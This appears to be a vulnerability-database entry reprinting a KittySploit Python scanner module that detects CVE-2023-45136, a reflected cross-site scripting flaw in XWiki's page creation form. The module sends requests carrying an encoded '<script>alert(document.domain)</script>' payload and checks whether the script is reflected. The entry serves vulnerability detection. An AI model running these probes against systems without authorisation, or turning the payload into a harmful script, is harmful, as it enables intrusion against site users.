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XWiki < 14.10.14 - Cross-Site Scripting Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
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Reflected XSS in XWiki page creation form allows arbitrary actions as the viewing user.

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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'XWiki < 14.10.14 - Cross-Site Scripting Detection',
        'description': 'XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. When document names are validated according to a name strategy (disabled by default), XWiki starting in version 12.0-rc-1 and prior to versions 12.10.12 and 15.5-rc-1 is vulnerable to a reflected cross-site scripting attack in the page creation form. This allows an attacker to execute arbitrary actions with the rights of the user opening the malicious link.',
        'author': ['KittySploit Team'],
        'severity': 'medium',
        'tags': ['web', 'scanner', 'cve', 'cve2023', 'xwiki', 'xss', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 2,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
            },
        },
        'references': ['https://jira.xwiki.org/browse/XWIKI-20854', 'https://nvd.nist.gov/vuln/detail/CVE-2023-45136'],
        'cve': 'CVE-2023-45136',
    }

    def run(self):
        for path in ('/bin/create/Main/%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E', '/xwiki/bin/create/Main/%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'):
            r = self.http_request(method="GET", path=path, allow_redirects=False)
            if not r or r.status_code != 200:
                continue
            body = r.text or ""
            headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
            body_all = ('<script>alert(document.domain)</script>', 'data-xwiki-reference',)
            header_any = ('text/html',)
            if (all(m in body for m in body_all)) and (any(m in headers for m in header_any)):
                self.set_info(
                    severity='medium',
                    reason="XWiki < 14.10.14 - Cross-Site Scripting detected",
                    path=path,
                )
                return True
        return False

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28 Jul 2026 11:27Current
8.5High risk
Vulners AI Score8.5
CVSS 3.19.6
EPSS0.05124
SSVC
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